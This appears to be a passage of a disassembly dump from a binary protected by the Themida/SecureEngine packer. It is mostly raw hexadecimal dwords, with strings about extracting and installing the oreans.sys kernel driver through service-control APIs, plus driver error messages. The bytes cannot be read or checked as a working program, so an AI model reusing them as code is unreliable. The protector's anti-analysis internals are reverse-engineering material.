1ABD8306h, 609B1h, 0B840Fh, 85C70000h, 6071135h, 1 dd 0A4B58DC3h, 0E80609B0h, 181h, 0B11ABD03h, 0BD830609h dd 609B11Ah, 15840F00h, 0C7000000h, 7113585h, 106h, 0CD85C700h dd 106071Ah, 0C3000000h, 0B0B2B58Dh, 4EE80609h, 3000001h dd 9B11ABDh, 1ABD8306h, 609B1h, 0A840Fh, 85C70000h, 60732B5h dd 1, 0B0BCB58Dh, 26E80609h, 3000001h, 9B11ABDh, 1ABD8306h dd 609B1h, 0A840Fh, 85C70000h, 60732B5h, 1, 0B0C7B58Dh dd 0FEE80609h, 3000000h, 9B11ABDh, 1ABD8306h, 609B1h, 0A840Fh dd 85C70000h, 60713F1h, 1, 0B0CDB58Dh, 0D6E80609h, 3000000h dd 9B11ABDh, 1ABD8306h, 609B1h, 0A840Fh, 85C70000h, 6072389h dd 1, 0B0D3B58Dh, 0AEE80609h, 3000000h, 9B11ABDh, 1ABD8306h dd 609B1h, 0A840Fh, 85C70000h, 6072A85h, 1, 0B0E1B58Dh dd 86E80609h, 3000000h, 9B11ABDh, 1ABD8306h, 609B1h, 0A840Fh dd 85C70000h, 6072FE1h, 1, 0B0EEB58Dh, 5EE80609h, 3000000h dd 9B11ABDh, 1ABD8306h, 609B1h, 0A840Fh, 85C70000h, 607058Dh dd 1, 0B0F9B58Dh, 36E80609h, 3000000h, 9B11ABDh, 1ABD8306h dd 609B1h, 0A840Fh, 85C70000h, 6071EC5h, 1, 1E9h, 3F804700h dd 9840F20h, 80000000h, 850F003Fh, 0FFFFFFEDh, 1B960C3h dd 8B000000h, 19E9DEh, 3F800000h, 2850F00h, 2B000000h dd 38178AC9h, 2840F16h, 2B000000h, 804746C9h, 840F003Eh dd 8, 850FC90Bh, 0FFFFFFD6h, 840FC90Bh, 21h, 0F003F80h dd 984h, 203F8000h, 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h dd 0FC90B00h, 0D84h, 89F32B00h, 9B11AB5h, 0AE906h, 85C70000h dd 609B11Ah, 0 dd 0C88BC361h, 20EE9h, 61433300h, 746F6E6Eh, 69727720h dd 6F206574h, 6E616572h, 78762E73h, 4D0D0A64h, 20656B61h dd 65727573h, 61687420h, 68742074h, 66207369h, 20656C69h dd 6E207369h, 6220746Fh, 676E6965h, 65737520h, 79622064h dd 6F6E6120h, 72656874h, 6F727020h, 6D617267h, 2Eh, 67h dup(0) dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0) dd 0E9000000h, 0EFh, 9CD85C6h, 68470607h, 0E3E45B86h, 59DB5FFh dd 858D0607h, 6073963h, 468D0FFh, 8D000001h, 7312D9Dh dd 0D0FF5306h, 96B58D50h, 8B0609B6h, 0AEC032FEh, 0FFF9850Fh dd 0FE2BFFFFh, 8B58CF8Bh, 0F3F803FBh, 0CD85C6A4h, 43060709h dd 8E6EFC68h, 9DB5FFBCh, 8D060705h, 7396385h, 8DD0FF06h dd 7312DB5h, 68006A06h, 80h, 6A026Ah, 68006Ah, 56C00000h dd 0D88BD0FFh, 9CD85C6h, 68570607h, 0A69BEE56h, 59DB5FFh dd 858D0607h, 6073963h, 0BD8DD0FFh, 60722FDh, 0B7BC8D8Dh dd 6A0609h, 37D06857h, 53510000h, 0C085D0FFh, 1B850Fh dd 0B58D0000h, 609B49Eh, 9FA8858Dh, 0D0FF0609h, 6FE48D8Dh dd 0B80607h, 0FF000000h, 0CD85C6E1h, 43060709h, 764AA768h dd 9DB5FFC0h, 8D060705h, 7396385h, 53D0FF06h, 0B9C3D0FFh dd 37D0h, 0E8h, 0C0835800h, 0E908890Eh, 2, 0D0E9C38Bh dd 4D000037h, 300905Ah, 4000000h, 0FF000000h, 0B80000FFh dd 0 dd 40000000h, 8 dup(0) dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh dd 240A0D0Dh, 0 dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h dd 887376h, 0 dd 4C000000h, 45h, 2000000h, 400h, 0 dd 14000380h, 5 dup(0) dd 0C0000002h, 90000001h, 0 dd 7E000000h, 0 dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0) dd 2C000000h, 38000001h, 1, 0 dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1 dd 0 dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0) dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h dd 1000000h, 3000103h, 2 dup(0) dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh dd 27h, 360h dup(0) dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0) dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h dd 527376h, 9C3h dup(0) dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h dd 9 dup(0) dd 33C3C033h, 7E83C3C0h, 475000Ch, 1AEBC033h, 10C7E83h dd 58D1475h, 0 dd 89187E8Bh, 2046C707h, 4, 0CC3C033h, 4F525058h, 44585654h dd 4244445Fh, 0E9000000h, 10A9h, 41564441h, 32334950h dd 4C4C442Eh, 65704F00h, 4D43536Eh, 67616E61h, 417265h dd 61657243h, 65536574h, 63697672h, 53004165h, 74726174h dd 76726553h, 41656369h, 74654700h, 6974614Eh, 79536576h dd 6D657473h, 6F666E49h, 65704F00h, 7265536Eh, 65636976h dd 65440041h, 6574656Ch, 76726553h, 656369h, 736F6C43h dd 72655365h, 65636976h, 646E6148h, 4300656Ch, 72746E6Fh dd 65536C6Fh, 63697672h, 65h, 7 dup(0) dd 726F0000h, 736E6165h, 732E3233h, 7379h, 0 dd 6F000000h, 6E616572h, 34367873h, 7379732Eh, 2 dup(0) dd 65726F00h, 33736E61h, 5C5C0032h, 726F5C2Eh, 736E6165h dd 5C003233h, 475C2E5Ch, 61626F6Ch, 726F5C6Ch, 736E6165h dd 6F003233h, 6E616572h, 34367873h, 2E5C5C00h, 6F6C475Ch dd 5C6C6162h, 6165726Fh, 3678736Eh, 34h, 41h dup(0) dd 59530000h, 4D455453h, 544F4F52h, 5C732500h, 74737973h dd 32336D65h, 6972645Ch, 73726576h, 73255Ch, 735C7325h dd 6F777379h, 5C343677h, 76697264h, 5C737265h, 25007325h dd 79735C73h, 6D657473h, 645C3233h, 65766972h, 6F5C7372h dd 6E616572h, 2E323373h, 737973h, 49h dup(0) a3cannotUpdateO db '3Cannot Update oreans.sys driver. Please, make sure that you have' db 0Ah db 0Dh,'administrator',27h,'s permits the first time that you are going to ' db 'run this program.',0 align 4 dd 59h dup(0) a3cannotOpenOre db '3Cannot open oreans.vxd driver. Make sure that oreans.vxd',0Ah db 0Dh,'is not open by another program.',0 align 4 dd 67h dup(0) a3secureengineD db '3SecureEngine driver cannot be updated because there are some pro' db 'grams using',0Ah db 0Dh,'it. You need to close those programs or restart your computer.',0Ah db 0Dh,'Restart now?',0 align 10h dd 80h dup(0) dword_56C180 dd 59h dup(0) ; DATA XREF: Themida_:00545673o a_Oreans_vxd db '\\.\Oreans.vxd',0 align 4 dd 2 dup(0) dd 5C732500h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0) dd 72705800h, 7645746Fh, 746E65h, 0Bh dup(0) aSeshutdownpr_0 db 'SeShutdownPrivilege',0 dd 0 aCreateeventApi db 'CreateEvent API Error while extraction the driver',0 aGetenvironment db 'GetEnvironmentVariable API Error while extraction the driver',0 aOpenscmanagerA db 'OpenSCManager API Error while extraction the driver',0 aCreateserviceA db 'CreateService API Error while extraction the driver',0 aCloseservice_0 db 'CloseServiceHandle API Error while extraction the driver',0 aOpenserviceApi db 'OpenService API Error while extraction the driver',0 aStartserviceAp db 'StartService API Error while extraction the driver',0 aApicErrorCanno db 'APIC error: Cannot find Processors Control Blocks. Please,',0Ah db 0Dh,'contact info@oreans.com for this error',0 align 10h dd 104h, 726F5333h, 202C7972h, 73696874h, 70706120h, 6163696Ch dd 6E6F6974h, 6E616320h, 20746F6Eh, 206E7572h, 65646E75h dd 20612072h, 74726956h, 206C6175h, 6863614Dh, 656E69h dd 70h dup(0) dd 1000h, 10000h, 7FFEFFFFh, 2 dup(1), 24Ah, 10000h, 408000Fh dd 9400h, 500h, 100h, 0A2800h, 200h, 21h dup(0) dd 66C48B00h, 8589F88Bh, 6071FF1h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 33C35242h, 127B2D2h, 70D29B5h dd 818D8B06h, 8B060700h, 88C0FC0h, 0F000000h, 283h, 8345B500h dd 71ACDBDh, 9750006h, 1135BD83h, 74000607h, 8B535019h dd 43DB8C0h, 85890000h, 6071F7Dh, 0ADC09D8Dh, 0D3FF0609h dd 0BD83585Bh, 6071135h, 50177400h, 43DB853h, 85890000h dd 6071F7Dh, 0AAAF9D8Dh, 0D3FF0609h, 7FB1585Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 2C35646h, 8BF5DD52h dd 0FC08BCEh, 68Bh, 9DBD0B00h, 8B060704h, 70FC995h, 60C08B06h dd 0AE960h, 44560000h, 0D1842ADAh, 7E571567h, 3098D8Bh dd 0F610607h, 687h, 8E0F00h, 61000000h, 1ACDBD83h, 75000607h dd 35BD8309h, 60711h, 53501374h, 0B8C08Bh, 8D000000h, 9AC629Dh dd 5BD3FF06h, 35BD8358h, 60711h, 53501174h, 0B8h, 139D8D00h dd 0FF0609ABh, 0B9585BD3h, 6E4E22E5h, 305D9529h, 0C08B0607h dd 4B11BA66h, 8589C08Bh, 6072FFDh, 1ACDBD83h, 75000607h dd 35BD8309h, 60711h, 53501374h, 0B8C08Bh, 8D000000h, 9AB949Dh dd 5BD3FF06h, 35BD8358h, 60711h, 53501174h, 0B8h, 0E19D8D00h dd 0FF0609AAh, 0BA585BD3h, 0E13DF9h, 0E258D8Bh, 0C08B0607h dd 14E8h db 0 byte_56C991 db 12h, 90h, 0CDh ; DATA XREF: Themida_:0053CAA4o dd 0C6B65A61h, 8A720C0Ch, 0EB3A9937h, 0D2343C93h, 16B966DDh dd 8D8959C5h, 60702E5h, 9529C08Bh, 607194Dh, 1ACDBD83h dd 75000607h, 35BD8309h, 60711h, 53501374h, 0B8C08Bh, 8D000000h dd 9ABFB9Dh, 5BD3FF06h, 35BD8358h, 60711h, 53501174h, 0B8h dd 0FA9D8D00h, 0FF0609AAh, 8B585BD3h, 728A98Dh, 0BDBD8B06h dd 8B06071Dh, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0ED581F22h, 0F18D8BA5h, 8B06072Fh dd 4FC281C0h, 8363FCAFh, 71ACDBDh, 9750006h, 1135BD83h dd 74000607h, 8B535013h, 0B8C0h, 9D8D0000h, 609AB2Dh, 585BD3FFh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 62C35343h dd 0D42B8AFEh, 0C08BCB8Bh, 2CE8BF66h, 0F60C08Bh, 61F9F3B7h dd 1ACDBD83h, 75000607h, 35BD8309h, 60711h, 53501974h dd 0D0B8C08Bh, 89000007h, 71F7D85h, 0C09D8D06h, 0FF0609ADh dd 83585BD3h, 71135BDh, 17740006h, 0D0B85350h, 89000007h dd 71F7D85h, 0AF9D8D06h, 0FF0609AAh, 0E8585BD3h, 0Eh, 450E386Fh dd 0E6D034AAh, 0DA292001h, 0E95AEF1Dh, 10h, 2F62A5A0h dd 0DC20EE42h, 1CF71171h, 0D4F48C64h, 8529C08Bh, 6072BC9h dd 9CD85C6h, 6A530607h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 17042444h, 40000000h, 0DF2AC350h, 0B589DD06h dd 6070549h, 32619589h, 90680607h, 8199395Fh, 721905F7h dd 9DB5FF64h, 6A060705h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 31D3C350h, 71A1D95h dd 63858D06h, 0F060739h, 280h, 0FFF58A00h, 89F08AD0h, 7185985h dd 118D8906h, 0C6060702h, 709CD85h, 8D8B5706h, 6070D31h dd 4520668h, 0C18D2990h, 0FF060720h, 7059DB5h, 14E906h dd 0F1450000h, 74BD6BCAh, 0C8E845B4h, 8692A4E9h, 25646318h dd 858DDC4Ch, 6073963h, 0CE8h, 25C35400h, 0EB129031h, 0CBD242EBh dd 0B995037Eh, 5906070Bh, 0EA81D0FFh, 55721F99h, 2B898589h dd 95890607h, 60707C1h, 9CD85C6h, 53430607h, 7F1BD8Bh dd 68590607h, 0BC907028h, 9E960h, 0E9A80000h, 0EC70B744h dd 61745CFFh, 59DB5FFh, 0D1810607h, 1691D855h, 3963858Dh dd 81660607h, 0FF28CBD7h, 6E9D0h, 0B7F30000h, 8217A159h dd 19F19589h, 85890607h, 60707EDh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0E8C35242h, 70FA1E5Dh, 34E42269h dd 0C895B960h, 0D081789Ah, 3FC84319h, 0CD85C661h, 4C060709h dd 5B58589h, 0E9680607h, 8BD9DA1Ch, 71ADD95h, 9DB5FF06h dd 6A060705h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 51F1C357h, 0E9B44418h, 0Dh, 589F8B50h dd 0A0B7F46Dh, 24E36291h, 63858DCDh, 89060739h, 703999Dh dd 0BE906h, 0E6FF0000h, 8CEFE606h, 0C9040411h, 0E9D0FFABh dd 6, 0B47C7AFBh, 8589B1ADh, 6070F15h, 8A80C181h, 890F0056h dd 6, 20798D89h, 85C60607h, 60709CDh, 0C5BD8B46h, 6806070Ah dd 0BADE0614h, 3CE8BA66h, 0FFF98B66h, 7059DB5h, 68D0F06h dd 89000000h, 70DA58Dh, 29B58906h, 8D060718h, 7396385h dd 0C5BF6606h, 8BD0FF71h, 70FE18Dh, 0D858906h, 0E8060711h dd 8, 236B1089h, 643C63B0h, 1B198D01h, 0C6590607h, 709CD85h dd 8D094706h, 6072AD5h, 0FB5E268h, 12A8BF8Ah, 0B5FF5664h dd 607059Dh, 20FD958Bh, 858D0607h, 6073963h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0FAC35040h, 42712F27h dd 0FF51AA10h, 8EBF66D0h, 0BD8589B6h, 6A06070Dh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 6251C355h, 0AE9h, 63C6E700h, 8B73C3FAh, 0C64FC930h dd 709CD85h, 66F54706h, 5D8CF181h, 0D0B5F368h, 14E983h dd 0D1E90000h, 3DBB5192h, 0F219F172h, 0BE742F04h, 0A272FCDh dd 0B5FFE09Bh, 607059Dh, 0D29BD8Bh, 858D0607h, 6073963h dd 8890Fh, 810F0000h, 2, 0D0FFF48Ah, 2F7D8D0Bh, 85890607h dd 6071949h, 11E9h, 0C7328800h, 345203D9h, 0AD830398h dd 2578BB96h, 0EE8B818h, 83000000h, 56A42D83h, 0B3D25A05h dd 752C8061h, 0F98B66A3h, 0CD85C65Fh, 77060709h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 64C35141h, 298529BFh dd 6606072Ch, 9678DF81h, 97A8A368h, 51006AF3h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 0B22E2AA4h dd 0BD899C2Bh, 6071221h, 1085B5FFh, 0F7810607h, 6D45B90Ah dd 3963858Dh, 3AB20607h, 6AD0FFh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 0AA6790C3h, 0C96AC05Eh dd 0F281A101h, 2A72F7C2h, 8589D48Ah, 60700A1h, 85C6CF8Bh dd 60709CDh, 53006A47h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 5BD8997h, 68060700h, 8728FAF6h, 216D8D8Bh dd 0B5FF0607h, 607059Dh, 10E9F5h, 0BFBC0000h, 16BF8E74h dd 7D54C957h, 7AFB315Eh, 858DB47Ch, 6073963h, 2A9D8589h dd 0D0FF0607h, 1B4D9533h, 85890607h, 6070651h, 23218D8Bh dd 85C60607h, 60709CDh, 1165BF43h, 0FC680388h, 6ABC8E6Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0C7F0C353h, 0E3D5BFE7h, 0B5FF732Fh, 607059Dh dd 0AC58D8Bh, 858D0607h, 6073963h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0AFC35747h, 3909ACB3h, 1B658D29h dd 0AE90607h, 70000000h, 0CAC5A4CAh, 6C75E7h, 6AD0FF3Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0CAF3C351h, 2D8589A5h, 66060711h, 0C6FC7FB9h dd 709CD85h, 0FE8B4506h, 72696968h, 52006A8Eh, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 2A78DA42h dd 0D34B4CBAh, 0D6805B34h, 9DB5FF28h, 6A060705h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 2CE8C351h, 3CAD011Dh, 8C99589h, 858D0607h, 6073963h dd 0D0D9589h, 8D890607h, 60702FDh, 8D8BD0FFh, 6071D95h dd 2BDD8589h, 0BD8B0607h, 6070D65h, 9CD85C6h, 0B440607h dd 729E1BDh, 6800F06h, 9000000h, 705498Dh, 0EC646806h dd 6AB8F2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 0EDFAADC3h, 894BC67Fh, 72E4D95h, 13E906h dd 0ACB0000h, 826F7347h, 348DC415h, 36D7FF2Dh, 0E16BBEEAh dd 9DB5FF9Ah, 81060705h, 0FB346C9h, 63858D44h, 6A060739h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 0A5F9C353h, 0D0FF7871h, 13E9h, 94A8F900h dd 3B98FC25h, 53A66BA5h, 9A70F510h, 0D988E77h, 1E658589h dd 10E90607h, 36000000h, 296570A6h, 9A8C4255h, 6F0FD98Bh dd 60482BEEh, 66F3B70Fh, 6121D1BBh, 9CD85C6h, 60430607h dd 13E9h, 0F7A20500h, 995AB2F7h, 8E34D847h dd 0A4FCF17Fh, 0DED1FD47h, 4AA76861h, 0FFF8C076h, 7059DB5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0A472BBBh, 56677CBBh, 0A698D31h, 60600607h dd 319958Bh, 958B0607h, 6070BC9h, 2DBD2961h, 61060703h dd 3963858Dh, 0D0FF0607h, 28B1958Bh, 14E90607h, 0B000000h dd 721E65FFh, 0FEFB7514h, 7107B7E1h, 0C775B8AAh, 89979ED2h dd 702C185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 8B66B666h, 7FBD80D1h, 609FBh, 93840Fh dd 858D0000h, 609FB61h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 63C35141h, 0D3F837E3h, 0F5750B3h, 85h dd 16A5900h, 1061B589h, 6A0607h, 43D98166h, 89006A37h dd 711E585h, 0ED95FF06h, 81060707h, 0D3AE2CE7h, 0F585895Ch dd 6A06072Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 6A06C351h, 0C5958BFFh, 0FF060718h dd 72FF5B5h, 77CF8106h, 0FF25BD56h, 72B8995h, 0EFBA6606h dd 0FC08BDDh, 1285h, 0DE900h, 569C0000h, 0BC5DA64Dh, 6CB2A909h dd 834DC077h, 71ACDBDh, 9750006h, 1135BD83h, 74000607h dd 8B535019h, 7D1B8C0h, 85890000h, 6071F7Dh, 0ADC09D8Dh dd 0D3FF0609h, 0BD83585Bh, 6071135h, 50177400h, 7D1B853h dd 85890000h, 6071F7Dh, 0AAAF9D8Dh, 0D3FF0609h, 0CB8B585Bh dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 8F8E04C3h, 66E428FBh, 28AEC281h, 9CD85C6h dd 66470607h, 11412BFh, 71821B5h, 0F7C16806h, 0C58093C8h dd 9DB5FFD1h, 0F8060705h, 3963858Dh, 13E90607h, 0FD000000h dd 6E7DA442h, 2AEE6CDBh, 8881DCD0h, 856AA4C1h, 0D0FF0617h dd 426A56BFh, 8D895075h, 60719FDh, 6870F57h, 0B000000h dd 70241BDh, 858D5F06h, 609FFA2h, 2D819D29h, 0C70607h dd 94h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h dd 0CDC35141h, 661AB004h, 0E858CB8Bh, 8, 0EE4AF898h, 0A239D258h dd 2AE1BD8Bh, 8D5F0607h, 9FFA2B5h, 0F9BF0F06h, 50006A56h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 45C9766Ch, 82A4192Bh, 11E9h, 61460200h, 2DDBF59Dh, 0C6E4244Ch dd 7DD0B112h, 0D0FFE6E2h, 3518589h, 8D890607h, 6072A25h dd 0FFA2858Dh, 83F80609h, 0F060478h, 4A85h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 592B0521h, 36BAEABDh, 0C73FAD2Ah, 0A003685h, 106h, 12E900h dd 30990000h, 28F55897h, 0AC05D86Eh, 0C4B4955Bh, 0A51B3C2h dd 8308E980h, 70529BDh, 850F0006h, 52h, 10E852h, 0F4D30000h dd 0CE8AB30Dh, 68400E4Dh, 0F30216Ah, 5E9E45Ch, 6D000000h dd 7BAEE44Ch, 0BD83595Ah, 60A0036h, 23850F00h, 8B000000h dd 0C5BD83D3h, 60705h, 14840Fh, 9D310000h, 6071F29h, 22B585C7h dd 607h, 0B2510000h, 8C665FDFh, 45BD29DBh, 0F6060713h dd 840F04C3h, 554h, 255BD2Bh, 85C70607h, 60719BDh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 5C35141h dd 0D181665Fh, 0BD80D6A0h, 609FB8Ch, 0C850F00h, 0F000000h dd 685h, 358D8B00h, 0C6060715h, 709CD85h, 0BF0F4706h, 5B8668F9h dd 0BF0FE3E4h, 9DB5FFFEh, 29060705h, 713059Dh, 63858D06h dd 2B060739h, 72D7995h, 0E9D0FF06h, 13h, 0B3012BEDh, 0A7876F5Eh dd 14354EC3h, 157B8026h, 68B31F83h, 104h, 9D8D72B1h, 607312Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0BFC35242h dd 8529D978h, 60708A1h, 5E953h, 7D8A0000h, 0FF96CF64h dd 85F781D0h, 8D4BB197h, 7312D85h, 0F19D8906h, 5006072Bh dd 7E9h, 2600C400h, 16FF6624h, 0FB3E858Dh, 8D890609h, 607051Dh dd 0F1816650h, 858DBD9Eh, 609F211h, 0C8CCBA66h, 55006A50h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 7420169Eh, 0E15BD89h, 95FF0607h, 60700A1h, 18D8C6BFh dd 0E9B50122h, 8306070Fh, 6AFC0CC4h, 806800h, 36A0000h dd 6A006Ah, 68h, 11858D80h, 500609F2h, 112D95FFh, 85890607h dd 609FB21h, 9CD85C6h, 68470607h, 0C7B15E87h, 59DB5FFh dd 858D0607h, 6073963h, 6AD0FFh, 0FB21B5FFh, 0D0FF0609h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 3C35040h dd 9590414h, 70051BDh, 81BD8906h, 66060729h, 0D03DD08Bh dd 0F000037h, 0A283h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0E03A0CD4h, 8EF2ABE2h dd 0FFF88BEDh, 9FB21B5h, 14E806h, 0D9830000h, 4DE79257h dd 1523FE2Dh, 0D1D9259Bh, 0EABFF2E2h, 6E956FDh, 9C000000h dd 3002CEF9h, 95FF5926h, 60702C1h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 4C35343h, 9417F361h, 0E14A8DAAh dd 0EFE9h, 17860F00h, 0E8000000h, 10h, 7BFAAB2Ah, 0C10EDCE7h dd 24ABDCF2h, 12CFA0D5h, 64BA5AF8h, 0FF59DC58h, 9FB21B5h dd 7D958B06h, 0FF06070Bh, 702C195h, 5B50906h, 6A060713h dd 398D8B00h, 6A060713h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 0FA7FB11Bh, 0FCEDCA7h dd 1E18D89h, 6A0607h, 5958BF5h, 6A06070Ch, 0E1BD0B00h dd 6A060725h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 9573F525h, 0A3FCD63Ch, 9D892DC1h dd 607064Dh, 0E9006AFCh, 7, 0B100E5F6h, 89E44856h, 70B7185h dd 25858D06h, 0BF0609FBh, 4081A3h, 50D0B70Fh, 10359D89h dd 95FF0607h, 607112Dh, 28B1B589h, 0F8830607h, 55850FFFh dd 66000001h, 0F48E281h, 0B6B1858Dh, 6A0609h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 3E922CC3h dd 95958B0Ch, 0FF060718h, 918589D0h, 6A060729h, 79E18100h dd 6A61F5B2h, 0FA8B6600h, 8D89006Ah, 6072189h, 810F006Ah dd 4, 1F00B966h, 9D89006Ah, 6071DB1h, 0BA66006Ah, 858DCEC2h dd 609FB25h, 6A50F5h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 0C40B36C3h, 0C8D8CABh, 8D89211Dh dd 6070211h, 1DACB960h, 0E9517EB5h, 12h, 0A49D7628h, 68DD2346h dd 6A19F9E1h, 0EFA0B5B8h, 6158B926h, 112D95FFh, 6A0607h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 202D67C3h, 43608AE5h, 14E9E0h, 0E6B40000h, 0DC26287Dh dd 547AA39Fh, 8F3E6714h, 6FE39B2Bh, 0F883DB72h, 51850FFFh dd 8B000000h, 71F15BDh, 2DB58D06h, 660609F5h, 5F89CA81h dd 9FA8858Dh, 11E90609h, 2C000000h, 254EB3F1h, 573BB21Eh dd 1AE39814h, 0DCFE5C29h, 9589D0FFh, 60728A1h, 8960006Ah dd 72081B5h, 598D3106h, 61060723h, 2BDD95FFh, 85890607h dd 6072D1Dh, 0FB218589h, 6AF90609h, 19858D00h, 660609FBh dd 0BDE7E181h, 0BF666050h, 820F2375h, 6, 1079B509h, 6A610607h dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 9BCEB098h, 8C0F8524h, 0Ch, 68C0Fh, 8D890000h dd 60729E1h, 178E0F60h, 0E9000000h, 12h, 0CF63F17Ch, 69592F1Fh dd 49353549h, 0C8E326C9h, 40B5A01Ah, 0B43BB961h, 858D4767h dd 60728F1h, 0FA1BD89h, 60500607h, 99BE66F5h, 6A6104h dd 1AD5BD8Bh, 6A0607h, 95853151h, 5A060732h, 0EF81016Ah dd 0EA7DF2Ah, 0FB21B5FFh, 0D1800609h, 6595FF75h, 8906071Eh dd 729FDB5h, 0CD9D2906h, 0E9060718h, 1B8Ch, 0CF8AC08Bh dd 1ACDBD83h, 75000607h, 35BD8309h, 60711h, 53501974h dd 0D2B8C08Bh, 89000007h, 71F7D85h, 0C09D8D06h, 0FF0609ADh dd 83585BD3h, 71135BDh, 17740006h, 0D2B85350h, 89000007h dd 71F7D85h, 0AF9D8D06h, 0FF0609AAh, 8B585BD3h, 704C195h dd 0D78B6606h, 0F1B5C08Bh, 19BD85C7h, 10607h, 13E80000h dd 4E000000h, 9454FA3Ah, 0ED85131h, 817FDE25h, 745DEEC9h dd 81664714h, 5A5CBACFh, 68D3BF0Fh, 0CEE4E7B8h, 29E5B5FFh dd 858D0607h, 6073963h, 8589D0FFh, 60704D9h, 5DBD468h dd 0E5B5FFC0h, 8D060729h, 7396385h, 89D0FF06h, 7222985h dd 0CA858D06h, 500609EFh, 59DB5FFh, 95FF0607h, 6070DBDh dd 0B74C00Bh, 858DD88Bh, 609FF7Dh, 8DD3FF50h, 9FF7D85h dd 38836606h, 0C70A7509h, 70B7985h, 106h, 5195FF00h, 25060706h dd 0FFh, 7305F883h, 0A185C70Ah, 1060713h, 89000000h, 718159Dh dd 80D7B506h, 9FB8CBDh, 850F0006h, 33h, 7E9h, 883A6400h dd 0D108EAD0h, 1A5BE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 9D8D8933h, 83060710h dd 70B79BDh, 850F0006h, 110h, 0FE8h, 81AA000h, 54DCF61h dd 59DC088Fh, 40CD0988h, 1EBDBD8Bh, 8D5F0607h, 9FB5685h dd 0DF816606h, 0F50B2ACh, 683h, 0ADB52900h, 6A060701h dd 0F006A01h, 1380h, 0EE900h, 0F3070000h, 5EBDA5FDh, 2A9F8DF1h dd 0ED694517h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 66D4FCC3h, 4609CA81h, 7ED95FFh dd 29600607h, 